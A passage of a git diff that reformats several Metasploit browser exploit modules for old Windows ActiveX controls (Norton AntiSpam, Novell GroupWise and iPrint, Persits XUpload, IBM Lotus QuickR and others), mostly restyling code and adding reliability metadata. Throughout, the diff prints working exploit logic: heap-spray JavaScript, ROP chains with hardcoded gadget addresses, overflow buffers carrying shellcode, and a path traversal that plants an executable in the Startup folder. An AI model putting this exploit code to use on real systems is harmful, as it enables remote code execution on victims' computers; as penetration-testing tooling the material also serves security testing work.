Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch)) js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) - if not my_target['Rop'].nil? js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) end @@ -343,7 +343,7 @@ def on_request_uri(cli, request) js = get_easy_spray(my_target, js_code, js_nops) end - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) @@ -379,8 +379,7 @@ def on_request_uri(cli, request) html = html.gsub(/^ {4}/, '') print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") - send_response(cli, html, {'Content-Type'=>'text/html'}) - + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb index ea13da1c721bd..7f620d9698814 100644 --- a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb +++ b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb @@ -10,36 +10,34 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in the NCTAudioFile2.Audio ActiveX - Control provided by various audio applications. By sending an overly long - string to the "SetFormatLikeSample()" method, an attacker may be able to - execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC', 'dookie', 'jduck' ], - 'References' => - [ + Control provided by various audio applications. By sending an overly long + string to the "SetFormatLikeSample()" method, an attacker may be able to + execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC', 'dookie', 'jduck' ], + 'References' => [ [ 'CVE', '2007-0018' ], [ 'OSVDB', '32032' ], [ 'BID', '22196' ], [ 'US-CERT-VU', '292713' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 2048, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 2048, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # tested with: # # BearShare 6.0.2.26789 (NCTAudioFile2.dll v2.5.7.514) @@ -47,15 +45,23 @@ def initialize(info = {}) # Magic Audio Editor Pro v10.3.11 (NCTAudioFile2.dll v2.6.1.643) # Magic Audio Editor Pro v10.3.15.1 (NCTAudioFile2.dll v2.6.1.643) # - [ 'Windows XP SP2/SP3 Pro English (IE6)', + [ + 'Windows XP SP2/SP3 Pro English (IE6)', { 'PopPopRet' => 0x746C15A9, # p/p/r in msls31.dll (ie6) 'jmp esp' => 0x774699bf, # user32.dll (xp sp2 and sp3) } ], ], - 'DisclosureDate' => '2007-01-24', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-01-24', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) diff --git a/modules/exploits/windows/browser/nis2004_antispam.rb b/modules/exploits/windows/browser/nis2004_antispam.rb index e632abacd3ab8..3a504cb755f91 100644 --- a/modules/exploits/windows/browser/nis2004_antispam.rb +++ b/modules/exploits/windows/browser/nis2004_antispam.rb @@ -9,38 +9,43 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Norton AntiSpam 2004. When - sending an overly long string to the LaunchCustomRuleWizard() method - of symspam.dll (2004.1.0.147) an attacker may be able to execute - arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + sending an overly long string to the LaunchCustomRuleWizard() method + of symspam.dll (2004.1.0.147) an attacker may be able to execute + arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2004-0363' ], [ 'OSVDB', '6249' ], [ 'BID', '9916' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], - 'DisclosureDate' => '2004-03-19', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2004-03-19', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -59,7 +64,7 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return. - ret = Rex::Text.uri_encode([target.ret].pack('L')) + ret = Rex::Text.uri_encode([target.ret].pack('L')) js = %Q| try { diff --git a/modules/exploits/windows/browser/nis2004_get.rb b/modules/exploits/windows/browser/nis2004_get.rb index 50525d51d8a71..2108f04e08ff2 100644 --- a/modules/exploits/windows/browser/nis2004_get.rb +++ b/modules/exploits/windows/browser/nis2004_get.rb @@ -9,40 +9,45 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in the ISAlertDataCOM ActiveX - Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004. - By sending an overly long string to the "Get()" method, an attacker may be - able to execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004. + By sending an overly long string to the "Get()" method, an attacker may be + able to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-1689' ], [ 'OSVDB', '36164'], [ 'URL', 'http://securityresponse.symantec.com/avcenter/security/Content/2007.05.16.html' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 800, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 272, 'Ret' => 0x71aa32ad } ], - [ 'Windows 2000 Pro English All', { 'Offset' => 272, 'Ret' => 0x75022ac4 } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 272, 'Ret' => 0x71aa32ad } ], + [ 'Windows 2000 Pro English All', { 'Offset' => 272, 'Ret' => 0x75022ac4 } ], ], - 'DisclosureDate' => '2007-05-16', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-05-16', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) @@ -54,7 +59,7 @@ def on_request_uri(cli, request) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer - sploit = rand_text_alpha(target['Offset']) + Rex::Arch::X86.jmp_short(12) + sploit = rand_text_alpha(target['Offset']) + Rex::Arch::X86.jmp_short(12) sploit << make_nops(2) + [target.ret].pack('V') + p.encoded # Build out the message diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb index 2f37124cceee7..217e4e95fb06b 100644 --- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb +++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb @@ -58,6 +58,11 @@ def initialize(info = {}) stdapi_sys_config_getenv ] } + }, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index 5a430936ecdf9..c1684e0be6e40 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -8,9 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - #include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn # - #autopwn_info({ + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "9.0", @@ -19,69 +19,72 @@ class MetasploitModule < Msf::Exploit::Remote # :rank => NormalRanking, # :classid => "{601D7813-408F-11D1-98D7-444553540000}", # :method => "SetEngine" - #}) - - - def initialize(info={}) - super(update_info(info, - 'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", - 'Description' => %q{ + # }) + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", + 'Description' => %q{ This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll - ActiveX. Several methods in the GWCalServer control use user provided data as - a pointer, which allows to read arbitrary memory and execute arbitrary code. This - module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The - JRE6 needs to be installed to achieve ASLR bypass. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + ActiveX. Several methods in the GWCalServer control use user provided data as + a pointer, which allows to read arbitrary memory and execute arbitrary code. This + module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The + JRE6 needs to be installed to achieve ASLR bypass. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'rgod ', # Vulnerability discovery - 'juan vazquez' # Metasploit module + 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-0439' ], [ 'OSVDB', '89700' ], - [ 'BID' , '57658' ], + [ 'BID', '57658' ], [ 'ZDI', '13-008' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ] ], - 'Payload' => - { - 'BadChars' => "\x00", - 'Space' => 1040, + 'Payload' => { + 'BadChars' => "\x00", + 'Space' => 1040, 'DisableNops' => true }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # gwcls1.dll 12.0.0.8586 [ 'Automatic', {} ], - [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], - [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ], - [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], - [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], - [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], - [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ] + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ] # '0x5fe' } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2013-01-30', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2013-01-30', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) - + ] + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' @@ -110,7 +113,7 @@ def get_target(agent) def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) randnop = rand_text_alpha(rand(100) + 1) @@ -177,7 +180,7 @@ def ie_heap_spray(my_target, p) end - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) @@ -203,34 +206,33 @@ def get_payload(t, cli) # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] - when :msvcrt - print_status("Using msvcrt ROP") - rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea - jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string - rop_payload << jmp_shell - rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) - rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset - rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret - rop_payload << stack_pivot - rop_payload << code - else - print_status("Using JRE ROP") - rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea - jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string - rop_payload << jmp_shell - rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) - rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset - rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret - rop_payload << stack_pivot - rop_payload << code + when :msvcrt + print_status("Using msvcrt ROP") + rop_payload = generate_rop_payload('msvcrt', '', 'target' => 'xp') # Mapped at 0x0c0c07ea + jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string + rop_payload << jmp_shell + rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea - rop_payload.length) + rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset + rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret + rop_payload << stack_pivot + rop_payload << code + else + print_status("Using JRE ROP") + rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea + jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string + rop_payload << jmp_shell + rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea - rop_payload.length) + rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset + rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret + rop_payload << stack_pivot + rop_payload << code end return rop_payload end - def load_exploit_html(my_target, cli) - p = get_payload(my_target, cli) + p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200 @@ -258,7 +260,7 @@ def load_exploit_html(my_target, cli) def on_request_uri(cli, request) agent = request.headers['User-Agent'] - uri = request.uri + uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) @@ -272,11 +274,10 @@ def on_request_uri(cli, request) html = load_exploit_html(my_target, cli) html = html.gsub(/^ {4}/, '') print_status("Sending HTML...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end - =begin * Remote Code Exec diff --git a/modules/exploits/windows/browser/novelliprint_callbackurl.rb b/modules/exploits/windows/browser/novelliprint_callbackurl.rb index f642effbc17d9..1b9fac460fef1 100644 --- a/modules/exploits/windows/browser/novelliprint_callbackurl.rb +++ b/modules/exploits/windows/browser/novelliprint_callbackurl.rb @@ -38,39 +38,44 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow', + 'Description' => %q{ This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42. - When sending an overly long string to the 'call-back-url' parameter in an - op-client-interface-version action of ienipp.ocx an attacker may be able to - execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Trancer ' ], - 'References' => - [ + When sending an overly long string to the 'call-back-url' parameter in an + op-client-interface-version action of ienipp.ocx an attacker may be able to + execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Trancer ' ], + 'References' => [ [ 'CVE', '2010-1527' ], [ 'OSVDB', '67411'], [ 'URL', 'http://web.archive.org/web/20100824204359/http://secunia.com:80/secunia_research/2010-104' ], # Carsten Eiram, Secunia Research - [ 'EDB', '15042' ], # MOAUB #19 + [ 'EDB', '15042' ], # MOAUB #19 ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], - 'DisclosureDate' => '2010-08-20', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2010-08-20', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -89,28 +94,28 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers - nops = Rex::Text.to_unescape([target.ret].pack('V')) - ret = [target.ret].pack('V') - ret = ret * 250 + nops = Rex::Text.to_unescape([target.ret].pack('V')) + ret = [target.ret].pack('V') + ret = ret * 250 blocksize = 0x40000 - fillto = 500 - offset = target['Offset'] + fillto = 500 + offset = target['Offset'] # ActiveX parameters - clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C" + clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C" # Randomize the javascript variable names - ienipp = rand_text_alpha(rand(100) + 1) - j_shellcode = rand_text_alpha(rand(100) + 1) - j_nops = rand_text_alpha(rand(100) + 1) - j_ret = rand_text_alpha(rand(100) + 1) + ienipp = rand_text_alpha(rand(100) + 1) + j_shellcode = rand_text_alpha(rand(100) + 1) + j_nops = rand_text_alpha(rand(100) + 1) + j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) - j_fillblock = rand_text_alpha(rand(100) + 1) - j_block = rand_text_alpha(rand(100) + 1) - j_memory = rand_text_alpha(rand(100) + 1) - j_counter = rand_text_alpha(rand(30) + 2) - randnop = rand_text_alpha(rand(100) + 1) + j_fillblock = rand_text_alpha(rand(100) + 1) + j_block = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 2) + randnop = rand_text_alpha(rand(100) + 1) html = %Q| - - -EOS - - #Remove the extra tabs from content + content = <<~EOS + + + + + + + EOS + + # Remove the extra tabs from content content = content.gsub(/^ {4}/, '') print_status("Sending #{self.name}") - send_response(cli, content, {'Content-Type'=>'text/html'}) + send_response(cli, content, { 'Content-Type' => 'text/html' }) end end - =begin Tested successfully on the following platforms: - PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3 diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb index 3f977e48d24c5..bbb6b6f1c1d50 100644 --- a/modules/exploits/windows/browser/persits_xupload_traversal.rb +++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb @@ -10,54 +10,59 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Persits XUpload ActiveX MakeHttpRequest Directory Traversal', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Persits XUpload ActiveX MakeHttpRequest Directory Traversal', + 'Description' => %q{ This module exploits a directory traversal in Persits Software Inc's - XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5. - By passing a string containing "..\\" sequences to the MakeHttpRequest method, - an attacker is able to write arbitrary files to arbitrary locations on disk. - - Code execution occurs by writing to the All Users Startup Programs directory. - You may want to combine this module with the use of exploit/multi/handler since a - user would have to log for the payload to execute. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'jduck' ], - 'References' => - [ + XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5. + By passing a string containing "..\" sequences to the MakeHttpRequest method, + an attacker is able to write arbitrary files to arbitrary locations on disk. + + Code execution occurs by writing to the All Users Startup Programs directory. + You may want to combine this module with the use of exploit/multi/handler since a + user would have to log for the payload to execute. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'jduck' ], + 'References' => [ [ 'CVE', '2009-3693'], [ 'OSVDB', '60001'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 2048, - 'Compat' => - { - 'ConnectionType' => '-find', - } + 'Payload' => { + 'Space' => 2048, + 'Compat' => + { + 'ConnectionType' => '-find', + } }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], ], - 'DisclosureDate' => '2009-09-29', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-09-29', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', '../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']), - ]) + ] + ) end def on_request_uri(cli, request) - - uri,token = request.uri.split('?', 2) + uri, token = request.uri.split('?', 2) print_status("request fired : #{uri}") @@ -68,7 +73,7 @@ def on_request_uri(cli, request) # send the html that makes the payload get downloaded token = rand_text_numeric(32) - if ("/" == get_resource[-1,1]) + if ("/" == get_resource[-1, 1]) exe_uri = get_resource[0, get_resource.length - 1] else exe_uri = get_resource @@ -105,24 +110,25 @@ def on_request_uri(cli, request) # Transmit the response to the client send_response(cli, html, - { - 'Connection' => 'close', - 'Pragma' => 'no-cache' - }) + { + 'Connection' => 'close', + 'Pragma' => 'no-cache' + }) return end print_status("Sending payload EXE") return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) # send the exe send_response(cli, data, - { - 'Content-Type' => 'application/octet-stream', - 'Connection' => 'close', - 'Pragma' => 'no-cache' - }) + { + 'Content-Type' => 'application/octet-stream', + 'Connection' => 'close', + 'Pragma' => 'no-cache' + }) # Handle the payload handler(cli) diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index d0400ced54dcd..a80048d8ef587 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -8,9 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - #include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn # - #autopwn_info({ + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "9.0", @@ -19,72 +19,75 @@ class MetasploitModule < Msf::Exploit::Remote # :rank => Rank, # :classid => "{05D96F71-87C6-11D3-9BE4-00902742D6E0}", # :method => "Attachment_Times" - #}) - - - def initialize(info={}) - super(update_info(info, - 'Name' => "IBM Lotus QuickR qp2 ActiveX Buffer Overflow", - 'Description' => %q{ + # }) + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "IBM Lotus QuickR qp2 ActiveX Buffer Overflow", + 'Description' => %q{ This module exploits a buffer overflow vulnerability on the UploadControl - ActiveX. The vulnerability exists in the handling of the "Attachment_Times" - property, due to the insecure usage of the _swscanf. The affected ActiveX is - provided by the qp2.dll installed with the IBM Lotus Quickr product. - - This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7, - using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module - msvcr71.dll is used. This one is installed with the qp2 ActiveX. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + ActiveX. The vulnerability exists in the handling of the "Attachment_Times" + property, due to the insecure usage of the _swscanf. The affected ActiveX is + provided by the qp2.dll installed with the IBM Lotus Quickr product. + + This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7, + using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module + msvcr71.dll is used. This one is installed with the qp2 ActiveX. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Gaurav Baruah', # Vulnerability discovery 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-2176' ], [ 'OSVDB', '82166' ], [ 'BID', '53678'], [ 'ZDI', '12-134' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ] ], - 'Payload' => - { + 'Payload' => { 'Space' => 978, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # qp2.dll 8.1.0.1800 [ 'Automatic', {} ], - [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], - [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll - [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ], - [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll - [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll - [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe', 'Ret' => 0x7C346B52 } ] # pop esp # ret # 